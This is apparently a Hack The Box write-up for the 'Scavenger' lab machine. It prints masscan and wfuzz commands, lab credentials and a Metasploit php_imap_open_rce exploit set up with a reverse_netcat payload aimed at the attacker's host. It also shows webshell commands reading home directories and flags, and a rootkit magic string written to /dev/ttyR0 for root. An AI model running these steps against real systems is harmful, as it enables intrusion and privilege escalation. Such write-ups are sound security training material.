HTB: Scavenger

Details

This machine is Scavenger from Hack The Box

Recon

Nmap worked very slowly, so I ran masscan first

kali@kali:~$ sudo masscan --router-ip 10.10.14.0 -p0-65535,U:0-65535 --rate=1000 -i tun0 10.10.10.155

Then nmap only the open ports

I started on http://10.10.10.155/

Screenshot 1

I could see http://www.supersechosting.htb in the nmap so I added it to hosts, I also had ib01.supersechosting.htb. With port 53 open I used dig to check for any more

I added those to hosts too. Then checked http://www.supersechosting.htb/

Screenshot 2

The whos thing seemed to be on port 43

kali@kali:~$ nc whois.supersechosting.htb 43

I just hit enter

It's running maria db, so I tried an SQL injection

This gave me

JUSTANOTHERBLOG.HTB
PWNHATS.HTB
RENTAHACKER.HTB

So I added these to hosts too, along with their www. and ftp. counter parts as the first page indicated they may have them. I then checked them out

http://www.justanotherblog.htb/

Screenshot 3

http://www.pwnhats.htb/

Screenshot 4

http://www.rentahacker.htb/

Screenshot 5

The wordpress blog had a comment http://www.rentahacker.htb/2018/12/10/rent-a-hacker/

Screenshot 6

So they have apparently been owned. I ran dig against each of these domains again

This gave me

sec03.rentahacker.htb

Which I added, and visited

Screenshot 7

I ran a dirbust against this

Screenshot 8

http://sec03.rentahacker.htb/shell.php Looked interesting

Screenshot 9

I ended up fuzzing this to find out if it could run commands

kali@kali:~$ wfuzz --hh 0 -c -z file,/usr/share/wordlists/wfuzz/general/common.txt http://sec03.rentahacker.htb/shell.php\?FUZZ\=id

Hi, we will check when possible. We are working on another incident right now. We just make a backup of the apache logs.
Please check if there is any strange file in your web root and upload it to the ftp server:
ftp.supersechosting.htb
user: ib01ftp
pass: YhgRt56_Ta

Thanks.

I tried these creds on ftp

kali@kali:~$ ftp 10.10.10.155

Another user has an incident too. So I downloaded the files inside

ftp> get ib01c01.access.log
local: ib01c01.access.log remote: ib01c01.access.log
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for ib01c01.access.log (10427 bytes).

226 Transfer complete.
835084 bytes received in 0.70 secs (1.1340 MB/s)

ftp> get notes.txt
local: notes.txt remote: notes.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for notes.txt (173 bytes).
226 Transfer complete.
173 bytes received in 0.00 secs (4.1246 MB/s)

And checked them out

kali@kali:~$ cat notes.txt
After checking the logs and the network capture, all points to that the attacker knows valid credentials and abused a recently discovered vuln to gain access to the server!

So there might be some creds in the pcap. So I looked for them in wireshark

Screenshot 15

This got me some details for the pwnhats site

[email protected] : GetYouAH4t!

With an admin url of

/admin530o6uisg

I also found a potential exploit for this site https://www.rapid7.com/db/modules/exploit/linux/http/php_imap_open_rce. So I checked the site to see if it would be vulnerable http://www.pwnhats.htb/admin530o6uisg/index.php?controller=AdminLogin&token=de267fd50b09d00b04cca76ff620b201

Screenshot 16

The version is vulnerable, so I setup the exploit

msf5 > use exploit/linux/http/php_imap_open_rce
msf5 exploit(linux/http/php_imap_open_rce) > options

Module options (exploit/linux/http/php_imap_open_rce):

   Name       Current Setting  Required  Description

   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /admin2769gx8k3  yes       Base directory path
   USERNAME                    no        Username to authenticate with
   VHOST                       no        HTTP server virtual host

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----

msf5 exploit(linux/http/php_imap_open_rce) > set RHOSTS 10.10.10.155
RHOSTS => 10.10.10.155

msf5 exploit(linux/http/php_imap_open_rce) > set VHOST www.pwnhats.htb
VHOST => www.pwnhats.htb

msf5 exploit(linux/http/php_imap_open_rce) > set TARGETURI /admin530o6uisg
TARGETURI => /admin530o6uisg

PASSWORD => GetYouAH4t!

msf5 exploit(linux/http/php_imap_open_rce) > set LHOST 10.10.14.27
LHOST => 10.10.14.27

However when I ran it

[-] Exploit failed: NoMethodError undefined method `code' for nil:NilClass

So I tried an alternative payload

msf5 exploit(linux/http/php_imap_open_rce) > set payload cmd/unix/generic
payload => cmd/unix/generic

msf5 exploit(linux/http/php_imap_open_rce) > set cmd id > /tmp/out
cmd => id > /tmp/out

Still no luck. As the site loaded very slowly, I tried increasing the timeouts

msf5 exploit(linux/http/php_imap_open_rce) > set HTTPClientTimeout 600
HTTPClientTimeout => 600.0

And enabling verbose mode

msf5 exploit(linux/http/php_imap_open_rce) > set VERBOSE true
VERBOSE => true

This time

msf5 exploit(linux/http/php_imap_open_rce) > run

I then used my webshell to try and read the output

view-source:http://sec03.rentahacker.htb/shell.php?hidden=ls%20-la%20/tmp

drwxrwxrwt  2 root    root      4096 Feb 24 00:36 .

uid=1001(ib01c01) gid=1004(customers) groups=1004(customers)

So I had RCE as a second user. Although it was very slow. As such I setup a lot of enumer in one go

msf5 exploit(linux/http/php_imap_open_rce) > set cmd ls -laR /home > /tmp/out
cmd => ls -laR /home > /tmp/out

Once it was complete

[SNIP]

Some interesting files. First I wanted the user.txt

msf5 exploit(linux/http/php_imap_open_rce) > set cmd cat /home/ib01c01/user.txt > /tmp/out
cmd => cat /home/ib01c01/user.txt > /tmp/out

Which let me get the flag

view-source:http://sec03.rentahacker.htb/shell.php?hidden=cat%20/tmp/out
[REDACTED]

Root

I then used the same technique to copy the root.ko file to /tmp and then to /home/ib01c03/sec03/. Which I then downloaded from http://sec03.rentahacker.htb/root.ko

kali@kali:~$ file root.ko
root.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=c59306a28e012d8bc34d45bb3c5f059d9699ea7c, with debug_info, not stripped

I loaded it into ghidra and it looked like a rootkit

Screenshot 17

Screenshot 18

The key used in the memcmp is

0x746f3052743067

Which is

to0Rt0g

Need to reverse it for endianness

g0tR0ot

But later it may be overwritten with

0x743367 : t3g
0x76317250 : v1rP

Which when endianness is applied gives

g3tPr1v

From the code I can see it registers a new device called

ttyR0

Screenshot 19

Which I confirmed existed

view-source:http://sec03.rentahacker.htb/shell.php?hidden=ls%20-la%20/dev
[SNIP]
crw-rw-rw-  1 root dialout 248,   0 Feb 24 01:27 ttyR0
[SNIP]

So I should have to write g3tPr1v to the device, to become root

I ran id; echo "g3tPr1v" > /dev/tty ; id to test

view-source:http://sec03.rentahacker.htb/shell.php?hidden=id%20;%20echo%20%22g3tPr1v%22%20%3E%20/dev/ttyR0%20;%20id
uid=1003(ib01c03) gid=1004(customers) groups=1004(customers)
uid=0(root) gid=0(root) groups=0(root),1004(customers)

So I used it again to read the root flag

view-source:http://sec03.rentahacker.htb/shell.php?hidden=echo%20%22g3tPr1v%22%20%3E%20/dev/ttyR0%20;%20cat%20/root/root.txt
